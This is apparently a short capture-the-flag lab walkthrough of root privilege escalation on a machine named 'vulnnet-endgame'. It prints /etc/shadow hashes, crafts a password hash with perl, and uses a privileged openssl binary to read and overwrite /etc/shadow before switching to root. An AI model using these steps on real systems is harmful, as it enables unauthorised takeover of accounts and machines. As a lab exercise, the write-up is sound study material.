root:$6$cB/S/D17$1FhKwiSpNpdxPcWJ4q91KOsJzucvpeTr8v9CRPaNmDF5SF64BcTHwR1Bx4xP3RqxK52.uZ38MHH4rQxamADbI/:19157:0:99999:7:::
...
...
system:$6$9oaZwdNG$jrpl883V5yMMdPAFvncio.JaEw3lx7by788qoORBJ1pV5OSGlfBX/ZjkI6qAEf.7Imb7rs6iaBlI4RBxcn.
Create a password...
perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
$6$saltsalt$qFmFH.bQmmtXzyBY0s9v7Oicd2z4XSIecDzlB5KiA2/jctKu9YterLp8wwnSq.qc.eoxqOmSuNp2xS0ktL3nh/
# Copy shadow to tmp
system@vulnnet-endgame:~/Utils$ ./openssl enc -in "/etc/shadow" > /tmp/t
# Edit my new password into there
system@vulnnet-endgame:~/Utils$ vi /tmp/t
# Write back
system@vulnnet-endgame:~/Utils$ cat /tmp/t | ./openssl enc -out "/etc/shadow"
# Root
system@vulnnet-endgame:~/Utils$ su root
Password:
root@vulnnet-endgame:/home/system/Utils# id
uid=0(root) gid=0(root) groups=0(root)
GG!